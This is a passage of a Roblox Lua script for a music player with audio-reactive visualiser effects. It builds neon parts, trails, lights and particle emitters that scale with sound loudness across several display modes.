  780. Visualiserpos2.Position = Vector3.new(-5,0,0)
  781. bp = Instance.new("BodyPosition",Main)
  782. bp.P = 3500
  783. ba = Instance.new("BodyAngularVelocity",Main)
  784. firstrun = false
  785. end
  786.  
  787. local i = 0
  788.  
  789. while rs:wait() do
  790.  
  791. script.Parent = nil
  792. char = player.Character
  793. root = char:WaitForChild("HumanoidRootPart")
  794.  
  795. if not player.PlayerGui:FindFirstChild("MusicPlayerKyu") then
  796. drawgui()
  797. CreateSound("BACKUP")
  798. end
  799.  
  800. if not (foundsound == true or char:FindFirstChild("KyuSound") or char:WaitForChild("Torso"):FindFirstChild("KyuSound")) then
  801. CreateSound("BACKUP")
  802. end
  803.  
  804. if foundsound == true or char:FindFirstChild("KyuSound") or char:WaitForChild("Torso"):FindFirstChild("KyuSound") then
  805. asdvolume = sound.Volume
  806. asdtimeposition = sound.TimePosition
  807. end
  808.  
  809. if sound.SoundId ~= asdid and synctarget == nil then
  810. sound:Stop()
  811. sound.SoundId = asdid
  812. soundname = fetchName(tonumber(asdid:sub(#'rbxassetid://'+1)))
  813. sound.TimePosition = asdtimeposition
  814. sound:Play()
  815. end
  816.  
  817. if foundsound == true or char:FindFirstChild("KyuSound") or char:WaitForChild("Torso"):FindFirstChild("KyuSound") then
  818. if max < sound.PlaybackLoudness then
  819. max = sound.PlaybackLoudness
  820. end
  821. if max > 0 then
  822. max = max -1
  823. end
  824. if not sound:FindFirstChild("EqualizerSoundEffect") then
  825. effect = Instance.new("EqualizerSoundEffect",sound)
  826. end
  827. if not sound:FindFirstChild("DistortionSoundEffect") then
  828. coroutine.resume(coroutine.create(function()
  829. distort = Instance.new("DistortionSoundEffect",sound)
  830. end))
  831. end
  832. sound.Volume = 5-(TextButton9.Position.Y.Offset/10)
  833. sound.PlaybackSpeed = math.ceil((1-(TextButton13.Position.Y.Offset/50))*40)/40
  834. coroutine.resume(coroutine.create(function()
  835. distort.Level = 0.5+(-TextButton30.Position.Y.Offset/50)
  836. end))
  837. effect.HighGain = -(TextButton26.Position.Y.Offset*1.2)
  838. effect.MidGain = -(TextButton22.Position.Y.Offset*1.2)
  839. effect.LowGain = -(TextButton18.Position.Y.Offset*1.2)
  840. for i,v in pairs(Visualiser:FindFirstChild("VisualiserK"):GetChildren()) do
  841. local change = 0.1+(max/5000)
  842. v.Mesh.Scale = v.Mesh.Scale+Vector3.new(change,change,change)
  843. v.Transparency = v.Transparency + 0.05
  844. local light = v:FindFirstChildOfClass("PointLight")
  845. light.Brightness = 2+sound.PlaybackLoudness/25
  846. light.Range = 5+sound.PlaybackLoudness/10
  847. if v.Transparency >= 1 then
  848. v:Destroy()
  849. end
  850. end
  851. else
  852. for i,v in pairs(Visualiser:FindFirstChild("VisualiserK"):GetChildren()) do
  853. local change = 0.1
  854. v.Mesh.Scale = v.Mesh.Scale+Vector3.new(change,change,change)
  855. v.Transparency = v.Transparency + 0.05
  856. if v.Transparency >= 1 then
  857. v:Destroy()
  858. end
  859. end
  860. end
  861. if vismode == "classic" then
  862. block = Instance.new("Part",Visualiser:FindFirstChild("VisualiserK"))
  863. blockm = Instance.new("BlockMesh",block)
  864. if foundsound == true or char:FindFirstChild("KyuSound") or char:WaitForChild("Torso"):FindFirstChild("KyuSound") then
  865. change = sound.PlaybackLoudness/80
  866. blockm.Scale = Vector3.new(1+change,1+change,1+change)
  867. end
  868. block.Anchored = true
  869. block.CanCollide = false
  870. block.Material = Enum.Material.Neon
  871. block.Size = Vector3.new(1,1,1)
  872. light = Instance.new("PointLight",block)
  873. light.Color = Color3.fromHSV(0,0,1)
  874. light.Brightness = 2+sound.PlaybackLoudness/25
  875. light.Range = 5+sound.PlaybackLoudness/10
  876. block.CFrame = CFrame.new(Visualiserpos.WorldPosition,Vector3.new(math.random(0,3600)/10,math.random(0,3600)/10,math.random(0,3600)/10))
  877. --------------
  878. block = Instance.new("Part",Visualiser:FindFirstChild("VisualiserK"))
  879. blockm = Instance.new("BlockMesh",block)
  880. if foundsound == true or char:FindFirstChild("KyuSound") or char:WaitForChild("Torso"):FindFirstChild("KyuSound") then
  881. change = sound.PlaybackLoudness/80
  882. blockm.Scale = Vector3.new(1+change,1+change,1+change)
  883. end
  884. block.Anchored = true
  885. block.CanCollide = false
  886. block.Material = Enum.Material.Neon
  887. block.Size = Vector3.new(1,1,1)
  888. light = Instance.new("PointLight",block)
  889. light.Color = Color3.fromHSV(0,0,1)
  890. light.Brightness = 2+sound.PlaybackLoudness/25
  891. light.Range = 5+sound.PlaybackLoudness/10
  892. block.CFrame = CFrame.new(Visualiserpos2.WorldPosition,Vector3.new(math.random(0,3600)/10,math.random(0,3600)/10,math.random(0,3600)/10))
  893.  
  894. ba.AngularVelocity = Vector3.new(0,0.2+(max/100),0)
  895. bp.Position = char.Head.Position+Vector3.new(0,2,0)
  896. tecks2.TextColor3 = Color3.fromHSV(0,0,0)
  897. tecks2.TextStrokeColor3 = Color3.fromHSV(0,0,1)
  898. elseif vismode == "rainbow" then
  899. if not char:FindFirstChild("VisualiserRGB") then
  900. part=Instance.new("Part",char)
  901. part.Name="VisualiserRGB"
  902. part.Position=root.Position + Vector3.new(0,10,0)
  903. part.CFrame = CFrame.new(part.Position)*CFrame.Angles(math.rad(math.random(1,360)),math.rad(math.random(1,360)),math.rad(math.random(1,360)))
  904. blockmesh=Instance.new("BlockMesh",part)
  905. end
  906. if not part:FindFirstChildOfClass("BodyPosition") then
  907. bp2=Instance.new("BodyPosition",part)
  908. end
  909. if not part:FindFirstChildOfClass("BodyAngularVelocity") then
  910. ba2=Instance.new("BodyAngularVelocity",part)
  911. end
  912. if not part:FindFirstChildOfClass("PointLight") then
  913. light=Instance.new("PointLight",part)
  914. end
  915. part.Color = Color3.fromHSV(i,1,1)
  916. light.Color = Color3.fromHSV(i,1,1)
  917. light.Brightness = 2+sound.PlaybackLoudness/25
  918. light.Range = 5+sound.PlaybackLoudness/10
  919. part:BreakJoints()
  920. part.CanCollide = false
  921. part.Material = Enum.Material.Neon
  922. blockmesh.Scale= Vector3.new(1+(sound.PlaybackLoudness/150),1+(sound.PlaybackLoudness/150),1+(sound.PlaybackLoudness/150))
  923. part.Size = Vector3.new(1,1,1)
  924. bp2.Position = root.Position + Vector3.new(0,10,0)
  925. ba2.AngularVelocity = Vector3.new((mathrandom.x/100)+(sound.PlaybackLoudness/mathrandom.x),(mathrandom.y/100)+(sound.PlaybackLoudness/mathrandom.y),(mathrandom.z/100)+(sound.PlaybackLoudness/mathrandom.z))
  926. tecks2.TextColor3 = Color3.fromHSV(0,0,1)
  927. tecks2.TextStrokeColor3 = Color3.fromHSV(i,1,1)
  928.  
  929. if i >= 1 then
  930. i = 0
  931. else
  932. i = i + 0.005
  933. end
  934.  
  935. elseif vismode == "trail" then
  936.  
  937. if not char:FindFirstChild("VisualiserRGB") then
  938. local function createtrail(part0,part1,parent)
  939. local trail = Instance.new("Trail",parent)
  940. trail.Attachment0 = part0
  941. trail.Attachment1 = part1
  942. trail.MinLength = 0
  943. trail.Lifetime = 0.05
  944. trail.LightEmission = 1
  945. trail.LightInfluence = 0
  946. trail.Color = ColorSequence.new(Color3.new(1,0,1),Color3.new(0,1,1))
  947. --trail.Transparency = NumberSequence.new(0,1)
  948. end
  949. part=Instance.new("Part",char)
  950. part.Name="VisualiserRGB"
  951. part.Position=root.Position + Vector3.new(0,10,0)
  952. part.CFrame = CFrame.new(part.Position)*CFrame.Angles(math.rad(math.random(1,360)),math.rad(math.random(1,360)),math.rad(math.random(1,360)))
  953. blockmesh=Instance.new("BlockMesh",part)
  954. A = Instance.new("Attachment",part)
  955. B = Instance.new("Attachment",part)
  956. C = Instance.new("Attachment",part)
  957. D = Instance.new("Attachment",part)
  958. E = Instance.new("Attachment",part)
  959. F = Instance.new("Attachment",part)
  960. G = Instance.new("Attachment",part)
  961. H = Instance.new("Attachment",part)
  962. A.Position = Vector3.new(1,1,1)
  963. B.Position = Vector3.new(1,-1,1)
  964. C.Position = Vector3.new(-1,1,1)
  965. D.Position = Vector3.new(-1,-1,1)
  966.  
  967. E.Position = Vector3.new(1,1,-1)
  968. F.Position = Vector3.new(1,-1,-1)
  969. G.Position = Vector3.new(-1,1,-1)
  970. H.Position = Vector3.new(-1,-1,-1)
  971. createtrail(A,E,part)
  972. createtrail(B,F,part)
  973. createtrail(C,G,part)
  974. createtrail(D,H,part)
  975. createtrail(A,B,part)
  976. createtrail(C,D,part)
  977. createtrail(E,F,part)
  978. createtrail(G,H,part)
  979. createtrail(A,C,part)
  980. createtrail(B,D,part)
  981. createtrail(E,G,part)
  982. createtrail(F,H,part)
  983. end
  984. if not part:FindFirstChildOfClass("BodyPosition") then
  985. bp2=Instance.new("BodyPosition",part)
  986. end
  987. if not part:FindFirstChildOfClass("BodyAngularVelocity") then
  988. ba2=Instance.new("BodyAngularVelocity",part)
  989. end
  990. if not part:FindFirstChildOfClass("PointLight") then
  991. light=Instance.new("PointLight",part)
  992. end
  993. part.Color = Color3.fromHSV(i,1,1)
  994. light.Color = Color3.fromHSV(i,1,1)
  995. light.Brightness = 2+sound.PlaybackLoudness/25
  996. light.Range = 5+sound.PlaybackLoudness/10
  997. part:BreakJoints()
  998. part.CanCollide = false
  999. part.Material = Enum.Material.Neon
  1000. local asd = 1+(sound.PlaybackLoudness/150)
  1001. blockmesh.Scale= Vector3.new(asd/2,asd/2,asd/2)
  1002. part.Size = Vector3.new(1,1,1)
  1003. bp2.Position = root.Position + Vector3.new(0,10,0)
  1004. ba2.AngularVelocity = Vector3.new((mathrandom.x/100)+(sound.PlaybackLoudness/mathrandom.x),(mathrandom.y/100)+(sound.PlaybackLoudness/mathrandom.y),(mathrandom.z/100)+(sound.PlaybackLoudness/mathrandom.z))
  1005. tecks2.TextColor3 = Color3.fromHSV(i,1,0.8)
  1006. tecks2.TextStrokeColor3 = Color3.fromHSV(i,1,1)
  1007. A.Position = Vector3.new(asd/2,asd/2,asd/2)
  1008. B.Position = Vector3.new(asd/2,-asd/2,asd/2)
  1009. C.Position = Vector3.new(-asd/2,asd/2,asd/2)
  1010. D.Position = Vector3.new(-asd/2,-asd/2,asd/2)
  1011.  
  1012. E.Position = Vector3.new(asd/2,asd/2,-asd/2)
  1013. F.Position = Vector3.new(asd/2,-asd/2,-asd/2)
  1014. G.Position = Vector3.new(-asd/2,asd/2,-asd/2)
  1015. H.Position = Vector3.new(-asd/2,-asd/2,-asd/2)
  1016.  
  1017. if i >= 0.8 then
  1018. asdcolor = true
  1019. elseif i <= 0.5 then
  1020. asdcolor = false
  1021. end
  1022.  
  1023. if asdcolor == true then
  1024. i = i - 0.001
  1025. else
  1026. i = i + 0.001
  1027. end
  1028. elseif vismode == "trail kyu" then
  1029.  
  1030. if not char:FindFirstChild("VisualiserRGB") then
  1031. local function createtrail(part0,part1,parent)
  1032. local trail = Instance.new("Trail",parent)
  1033. trail.Attachment0 = part0
  1034. trail.Attachment1 = part1
  1035. trail.MinLength = 0
  1036. trail.Lifetime = 0.05
  1037. trail.LightEmission = 1
  1038. trail.LightInfluence = 0
  1039. trail.Color = ColorSequence.new(Color3.new(1,0,1),Color3.new(0,1,1))
  1040. --trail.Transparency = NumberSequence.new(0,1)
  1041. end
  1042. part=Instance.new("Part",char)
  1043. part.Name="VisualiserRGB"
  1044. part.Position=root.Position + Vector3.new(0,10,0)
  1045. part.CFrame = CFrame.new(part.Position)*CFrame.Angles(math.rad(math.random(1,360)),math.rad(math.random(1,360)),math.rad(math.random(1,360)))
  1046. blockmesh=Instance.new("BlockMesh",part)
  1047. part2=part:Clone()
  1048. part2.Parent = part
  1049. part2.Transparency = 1
  1050. part2.CFrame = CFrame.new(part2.Position)*CFrame.Angles(math.rad(math.random(1,360)),math.rad(math.random(1,360)),math.rad(math.random(1,360)))
  1051.  
  1052. A = Instance.new("Attachment",part)
  1053. B = Instance.new("Attachment",part)
  1054. C = Instance.new("Attachment",part)
  1055. D = Instance.new("Attachment",part)
  1056. E = Instance.new("Attachment",part)
  1057. F = Instance.new("Attachment",part)
  1058. G = Instance.new("Attachment",part)
  1059. H = Instance.new("Attachment",part)
  1060. A2 = Instance.new("Attachment",part2)
  1061. B2 = Instance.new("Attachment",part2)
  1062. C2 = Instance.new("Attachment",part2)
  1063. D2 = Instance.new("Attachment",part2)
  1064. E2 = Instance.new("Attachment",part2)
  1065. F2 = Instance.new("Attachment",part2)
  1066. G2 = Instance.new("Attachment",part2)
  1067. H2 = Instance.new("Attachment",part2)
  1068.  
  1069. A.Position = Vector3.new(1,1,1)
  1070. B.Position = Vector3.new(1,-1,1)
  1071. C.Position = Vector3.new(-1,1,1)
  1072. D.Position = Vector3.new(-1,-1,1)
  1073.  
  1074. E.Position = Vector3.new(1,1,-1)
  1075. F.Position = Vector3.new(1,-1,-1)
  1076. G.Position = Vector3.new(-1,1,-1)
  1077. H.Position = Vector3.new(-1,-1,-1)
  1078.  
  1079. createtrail(A,E,part)
  1080. createtrail(B,F,part)
  1081. createtrail(C,G,part)
  1082. createtrail(D,H,part)
  1083. createtrail(A,B,part)
  1084. createtrail(C,D,part)
  1085. createtrail(E,F,part)
  1086. createtrail(G,H,part)
  1087. createtrail(A,C,part)
  1088. createtrail(B,D,part)
  1089. createtrail(E,G,part)
  1090. createtrail(F,H,part)
  1091.  
  1092. A2.Position = Vector3.new(1,1,1)
  1093. B2.Position = Vector3.new(1,-1,1)
  1094. C2.Position = Vector3.new(-1,1,1)
  1095. D2.Position = Vector3.new(-1,-1,1)
  1096.  
  1097. E2.Position = Vector3.new(1,1,-1)
  1098. F2.Position = Vector3.new(1,-1,-1)
  1099. G2.Position = Vector3.new(-1,1,-1)
  1100. H2.Position = Vector3.new(-1,-1,-1)
  1101. createtrail(A2,E2,part)
  1102. createtrail(B2,F2,part)
  1103. createtrail(C2,G2,part)
  1104. createtrail(D2,H2,part)
  1105. createtrail(A2,B2,part)
  1106. createtrail(C2,D2,part)
  1107. createtrail(E2,F2,part)
  1108. createtrail(G2,H2,part)
  1109. createtrail(A2,C2,part)
  1110. createtrail(B2,D2,part)
  1111. createtrail(E2,G2,part)
  1112. createtrail(F2,H2,part)
  1113.  
  1114. end
  1115. if not part:FindFirstChildOfClass("BodyPosition") then
  1116. bp2=Instance.new("BodyPosition",part)
  1117. end
  1118. if not part:FindFirstChildOfClass("BodyAngularVelocity") then
  1119. ba2=Instance.new("BodyAngularVelocity",part)
  1120. end
  1121. if not part:FindFirstChildOfClass("PointLight") then
  1122. light=Instance.new("PointLight",part)
  1123. end
  1124. if not part2:FindFirstChildOfClass("BodyPosition") then
  1125. bp3=Instance.new("BodyPosition",part2)
  1126. end
  1127. if not part2:FindFirstChildOfClass("BodyAngularVelocity") then
  1128. ba3=Instance.new("BodyAngularVelocity",part2)
  1129. end
  1130. part.Color = Color3.fromHSV(i,1,1)
  1131. light.Color = Color3.fromHSV(i,1,1)
  1132. light.Brightness = 2+sound.PlaybackLoudness/25
  1133. light.Range = 5+sound.PlaybackLoudness/10
  1134. part:BreakJoints()
  1135. part.Material = Enum.Material.Neon
  1136. local asd = 1+(sound.PlaybackLoudness/150)
  1137. blockmesh.Scale= Vector3.new(asd/2,asd/2,asd/2)
  1138. part.Size = Vector3.new(1,1,1)
  1139. part2.Size = Vector3.new(1,1,1)
  1140. part.CanCollide = false
  1141. part2.CanCollide = false
  1142. bp2.Position = root.Position + Vector3.new(0,10,0)
  1143. ba2.AngularVelocity = Vector3.new((mathrandom.x/100)+(sound.PlaybackLoudness/mathrandom.x),(mathrandom.y/100)+(sound.PlaybackLoudness/mathrandom.y),(mathrandom.z/100)+(sound.PlaybackLoudness/mathrandom.z))
  1144. bp3.Position = root.Position + Vector3.new(0,10,0)
  1145. ba3.AngularVelocity = Vector3.new(-(mathrandom.x/100)-(sound.PlaybackLoudness/mathrandom.x),-(mathrandom.y/100)-(sound.PlaybackLoudness/mathrandom.y),-(mathrandom.z/100)-(sound.PlaybackLoudness/mathrandom.z))
  1146. tecks2.TextColor3 = Color3.fromHSV(i,1,0.8)
  1147. tecks2.TextStrokeColor3 = Color3.fromHSV(i,1,1)
  1148. A.Position = Vector3.new(asd/2,asd/2,asd/2)
  1149. B.Position = Vector3.new(asd/2,-asd/2,asd/2)
  1150. C.Position = Vector3.new(-asd/2,asd/2,asd/2)
  1151. D.Position = Vector3.new(-asd/2,-asd/2,asd/2)
  1152.  
  1153. E.Position = Vector3.new(asd/2,asd/2,-asd/2)
  1154. F.Position = Vector3.new(asd/2,-asd/2,-asd/2)
  1155. G.Position = Vector3.new(-asd/2,asd/2,-asd/2)
  1156. H.Position = Vector3.new(-asd/2,-asd/2,-asd/2)
  1157.  
  1158. A2.Position = Vector3.new(asd,asd,asd)
  1159. B2.Position = Vector3.new(asd,-asd,asd)
  1160. C2.Position = Vector3.new(-asd,asd,asd)
  1161. D2.Position = Vector3.new(-asd,-asd,asd)
  1162.  
  1163. E2.Position = Vector3.new(asd,asd,-asd)
  1164. F2.Position = Vector3.new(asd,-asd,-asd)
  1165. G2.Position = Vector3.new(-asd,asd,-asd)
  1166. H2.Position = Vector3.new(-asd,-asd,-asd)
  1167.  
  1168. if i >= 0.8 then
  1169. asdcolor = true
  1170. elseif i <= 0.5 then
  1171. asdcolor = false
  1172. end
  1173.  
  1174. if asdcolor == true then
  1175. i = i - 0.001
  1176. else
  1177. i = i + 0.001
  1178. end
  1179.  
  1180. elseif vismode == "nothing" then
  1181.  
  1182. tecks2.Text = ""
  1183.  
  1184. elseif vismode == "nooby" then
  1185. if not char:FindFirstChild("noobyvis") then
  1186. centralpart = it("Part",char)
  1187. centralpart.Name = "noobyvis"
  1188. centralpart.CFrame = hed.CFrame + Vector3.new(0,-2.5,0)
  1189. centralpart.Anchored = true
  1190. centralpart.Size = vt(1,1,1)
  1191. centralpart.Transparency = 1
  1192. centralpart.CanCollide = false
  1193. centralpart2a = it("Part",centralpart)
  1194. centralpart2a.CFrame = centralpart.CFrame
  1195. centralpart2a.Anchored = true
  1196. centralpart2a.Transparency = 0
  1197. centralpart2a.BrickColor = origcolor
  1198. centralpart2a.Material = "Neon"
  1199. centralpart2a.Size = vt(1,1,1)
  1200. centralpart2a.CanCollide = false
  1201.  
  1202. meshy = Instance.new("SpecialMesh", centralpart2a)
  1203. meshy.Scale = vt(1.05,1.05,1.05)
  1204. meshy.MeshType = "Sphere"
  1205.  
  1206. centralpart2 = it("Part",centralpart)
  1207. centralpart2.CFrame = centralpart.CFrame
  1208. centralpart2.Anchored = true
  1209. centralpart2.Transparency = 0.65
  1210. centralpart2.BrickColor = BrickColor.new("Really black")
  1211. centralpart2.Material = "Neon"
  1212. centralpart2.Size = vt(1,1,1)
  1213. centralpart2.CanCollide = false
  1214.  
  1215. meshy2 = Instance.new("SpecialMesh", centralpart2)
  1216. meshy2.Scale = vt(1.075,1.075,1.075)
  1217. meshy2.MeshType = "Sphere"
  1218.  
  1219.  
  1220. centralpart3 = it("Part",centralpart)
  1221. centralpart3.CFrame = centralpart.CFrame
  1222. centralpart3.Anchored = true
  1223. centralpart3.Transparency = 0.5
  1224. centralpart3.BrickColor = origcolor
  1225. centralpart3.Material = "Neon"
  1226. centralpart3.Size = vt(0.5,1,0.5)
  1227. centralpart3.CanCollide = false
  1228.  
  1229. meshy3 = Instance.new("SpecialMesh", centralpart3)
  1230. meshy3.Scale = vt(1,0.035,1.075)
  1231. meshy3.MeshType = "Brick"
  1232.  
  1233. centralpart4 = it("Part",centralpart)
  1234. centralpart4.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(15),0)
  1235. centralpart4.Anchored = true
  1236. centralpart4.Transparency = 0.5
  1237. centralpart4.BrickColor = origcolor
  1238. centralpart4.Material = "Neon"
  1239. centralpart4.Size = vt(0.5,1,0.5)
  1240. centralpart4.CanCollide = false
  1241.  
  1242. meshy4 = Instance.new("SpecialMesh", centralpart4)
  1243. meshy4.Scale = vt(1,0.035,1.075)
  1244. meshy4.MeshType = "Brick"
  1245.  
  1246. centralpart5 = it("Part",centralpart)
  1247. centralpart5.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(30),0)
  1248. centralpart5.Anchored = true
  1249. centralpart5.Transparency = 0.5
  1250. centralpart5.BrickColor = origcolor
  1251. centralpart5.Material = "Neon"
  1252. centralpart5.Size = vt(0.5,1,0.5)
  1253. centralpart5.CanCollide = false
  1254.  
  1255. meshy5 = Instance.new("SpecialMesh", centralpart5)
  1256. meshy5.Scale = vt(1,0.035,1.075)
  1257. meshy5.MeshType = "Brick"
  1258.  
  1259. centralpart6 = it("Part",centralpart)
  1260. centralpart6.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(45),0)
  1261. centralpart6.Anchored = true
  1262. centralpart6.Transparency = 0.5
  1263. centralpart6.BrickColor = origcolor
  1264. centralpart6.Material = "Neon"
  1265. centralpart6.Size = vt(0.5,1,0.5)
  1266. centralpart6.CanCollide = false
  1267.  
  1268. meshy6 = Instance.new("SpecialMesh", centralpart6)
  1269. meshy6.Scale = vt(1,0.035,1.075)
  1270. meshy6.MeshType = "Brick"
  1271.  
  1272. centralpart7 = it("Part",centralpart)
  1273. centralpart7.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(60),0)
  1274. centralpart7.Anchored = true
  1275. centralpart7.Transparency = 0.5
  1276. centralpart7.BrickColor = origcolor
  1277. centralpart7.Material = "Neon"
  1278. centralpart7.Size = vt(0.5,1,0.5)
  1279. centralpart7.CanCollide = false
  1280.  
  1281. meshy7 = Instance.new("SpecialMesh", centralpart7)
  1282. meshy7.Scale = vt(1,0.035,1.075)
  1283. meshy7.MeshType = "Brick"
  1284.  
  1285. centralpart8 = it("Part",centralpart)
  1286. centralpart8.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(75),0)
  1287. centralpart8.Anchored = true
  1288. centralpart8.Transparency = 0.5
  1289. centralpart8.BrickColor = origcolor
  1290. centralpart8.Material = "Neon"
  1291. centralpart8.Size = vt(0.5,1,0.5)
  1292. centralpart8.CanCollide = false
  1293.  
  1294. meshy8 = Instance.new("SpecialMesh", centralpart8)
  1295. meshy8.Scale = vt(1,0.035,1.075)
  1296. meshy8.MeshType = "Brick"
  1297.  
  1298. centralpart9 = it("Part",centralpart)
  1299. centralpart9.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(90),0)
  1300. centralpart9.Anchored = true
  1301. centralpart9.Transparency = 0.5
  1302. centralpart9.BrickColor = origcolor
  1303. centralpart9.Material = "Neon"
  1304. centralpart9.Size = vt(0.5,1,0.5)
  1305. centralpart9.CanCollide = false
  1306.  
  1307. meshy9 = Instance.new("SpecialMesh", centralpart9)
  1308. meshy9.Scale = vt(1,0.035,1.075)
  1309. meshy9.MeshType = "Brick"
  1310.  
  1311. centralpart10 = it("Part",centralpart)
  1312. centralpart10.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(105),0)
  1313. centralpart10.Anchored = true
  1314. centralpart10.Transparency = 0.5
  1315. centralpart10.BrickColor = origcolor
  1316. centralpart10.Material = "Neon"
  1317. centralpart10.Size = vt(0.5,1,0.5)
  1318. centralpart10.CanCollide = false
  1319.  
  1320. meshy10 = Instance.new("SpecialMesh", centralpart10)
  1321. meshy10.Scale = vt(1,0.035,1.075)
  1322. meshy10.MeshType = "Brick"
  1323.  
  1324. centralpart11 = it("Part",centralpart)
  1325. centralpart11.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(120),0)
  1326. centralpart11.Anchored = true
  1327. centralpart11.Transparency = 0.5
  1328. centralpart11.BrickColor = origcolor
  1329. centralpart11.Material = "Neon"
  1330. centralpart11.Size = vt(0.5,1,0.5)
  1331. centralpart11.CanCollide = false
  1332.  
  1333. meshy11 = Instance.new("SpecialMesh", centralpart11)
  1334. meshy11.Scale = vt(1,0.035,1.075)
  1335. meshy11.MeshType = "Brick"
  1336.  
  1337. centralpart12 = it("Part",centralpart)
  1338. centralpart12.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(135),0)
  1339. centralpart12.Anchored = true
  1340. centralpart12.Transparency = 0.5
  1341. centralpart12.BrickColor = origcolor
  1342. centralpart12.Material = "Neon"
  1343. centralpart12.Size = vt(0.5,1,0.5)
  1344. centralpart12.CanCollide = false
  1345.  
  1346. meshy12 = Instance.new("SpecialMesh", centralpart12)
  1347. meshy12.Scale = vt(1,0.035,1.075)
  1348. meshy12.MeshType = "Brick"
  1349.  
  1350. centralpart13 = it("Part",centralpart)
  1351. centralpart13.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(150),0)
  1352. centralpart13.Anchored = true
  1353. centralpart13.Transparency = 0.5
  1354. centralpart13.BrickColor = origcolor
  1355. centralpart13.Material = "Neon"
  1356. centralpart13.Size = vt(0.5,1,0.5)
  1357. centralpart13.CanCollide = false
  1358.  
  1359. meshy13 = Instance.new("SpecialMesh", centralpart13)
  1360. meshy13.Scale = vt(1,0.035,1.075)
  1361. meshy13.MeshType = "Brick"
  1362.  
  1363. centralpart14 = it("Part",centralpart)
  1364. centralpart14.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(165),0)
  1365. centralpart14.Anchored = true
  1366. centralpart14.Transparency = 0.5
  1367. centralpart14.BrickColor = origcolor
  1368. centralpart14.Material = "Neon"
  1369. centralpart14.Size = vt(0.5,1,0.5)
  1370. centralpart14.CanCollide = false
  1371.  
  1372. meshy14 = Instance.new("SpecialMesh", centralpart14)
  1373. meshy14.Scale = vt(1,0.035,1.075)
  1374. meshy14.MeshType = "Brick"
  1375.  
  1376. centralpart15 = it("Part",centralpart)
  1377. centralpart15.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(180),0)
  1378. centralpart15.Anchored = true
  1379. centralpart15.Transparency = 0.5
  1380. centralpart15.BrickColor = origcolor
  1381. centralpart15.Material = "Neon"
  1382. centralpart15.Size = vt(0.5,1,0.5)
  1383. centralpart15.CanCollide = false
  1384.  
  1385. meshy15 = Instance.new("SpecialMesh", centralpart15)
  1386. meshy15.Scale = vt(1,0.035,1.075)
  1387. meshy15.MeshType = "Brick"
  1388.  
  1389. centralparto = it("Part",centralpart)
  1390. centralparto.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(0),0)
  1391. centralparto.Anchored = true
  1392. centralparto.Transparency = 0.5
  1393. centralparto.BrickColor = BrickColor.new("Really black")
  1394. centralparto.Material = "Neon"
  1395. centralparto.Size = vt(0.5,1,0.5)
  1396. centralparto.CanCollide = false
  1397.  
  1398. meshyo = Instance.new("SpecialMesh", centralparto)
  1399. meshyo.Scale = vt(1.05,0.05,0.25)
  1400. meshyo.MeshType = "Sphere"
  1401.  
  1402. centralparto2 = it("Part",centralpart)
  1403. centralparto2.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(90),0)
  1404. centralparto2.Anchored = true
  1405. centralparto2.Transparency = 0.5
  1406. centralparto2.BrickColor = BrickColor.new("Really black")
  1407. centralparto2.Material = "Neon"
  1408. centralparto2.Size = vt(0.5,1,0.5)
  1409. centralparto2.CanCollide = false
  1410.  
  1411. meshyo2 = Instance.new("SpecialMesh", centralparto2)
  1412. meshyo2.Scale = vt(1.05,0.05,0.25)
  1413. meshyo2.MeshType = "Sphere"
  1414.  
  1415. centralparto3 = it("Part",centralpart)
  1416. centralparto3.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(45),0)
  1417. centralparto3.Anchored = true
  1418. centralparto3.Transparency = 0.5
  1419. centralparto3.BrickColor = BrickColor.new("Maroon")
  1420. centralparto3.Material = "Neon"
  1421. centralparto3.Size = vt(0.5,1,0.5)
  1422. centralparto3.CanCollide = false
  1423.  
  1424. meshyo3 = Instance.new("SpecialMesh", centralparto3)
  1425. meshyo3.Scale = vt(1.05,0.075,0.25)
  1426. meshyo3.MeshType = "Sphere"
  1427.  
  1428. centralparto4 = it("Part",centralpart)
  1429. centralparto4.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(135),0)
  1430. centralparto4.Anchored = true
  1431. centralparto4.Transparency = 0.5
  1432. centralparto4.BrickColor = BrickColor.new("Maroon")
  1433. centralparto4.Material = "Neon"
  1434. centralparto4.Size = vt(0.5,1,0.5)
  1435. centralparto4.CanCollide = false
  1436.  
  1437. meshyo4 = Instance.new("SpecialMesh", centralparto4)
  1438. meshyo4.Scale = vt(1.05,0.075,0.25)
  1439. meshyo4.MeshType = "Sphere"
  1440.  
  1441. eff = Instance.new("ParticleEmitter",centralpart)
  1442. eff.Texture = "http://www.roblox.com/asset/?id=243664672"
  1443. eff.LightEmission = 0.75
  1444. eff.Color = ColorSequence.new(Color3.new(255,0,0))
  1445. eff.Lifetime = NumberRange.new(2.5)
  1446. eff.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,2,0),NumberSequenceKeypoint.new(1,0,0)})
  1447. eff.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0.45,0),NumberSequenceKeypoint.new(1,1,0)})
  1448. eff.Acceleration = Vector3.new(0,-75,0)
  1449. eff.Rotation = NumberRange.new(-500,500)
  1450. eff.VelocitySpread = 90
  1451. eff.RotSpeed = NumberRange.new(-500,500)
  1452.  
  1453.  
  1454. ogsize = meshy.Scale
  1455. ogsize2 = meshy2.Scale
  1456. ogsize3 = meshy3.Scale
  1457. ogsize4 = meshy4.Scale
  1458. ogsize5 = meshy5.Scale
  1459. ogsize6 = meshy6.Scale
  1460. ogsize7 = meshy7.Scale
  1461. ogsize8 = meshy8.Scale
  1462. ogsize9 = meshy9.Scale
  1463. ogsize10 = meshy10.Scale
  1464. ogsize11 = meshy11.Scale
  1465. ogsize12 = meshy12.Scale
  1466. ogsize13 = meshy13.Scale
  1467. ogsize14 = meshy14.Scale
  1468. ogsize15 = meshy15.Scale
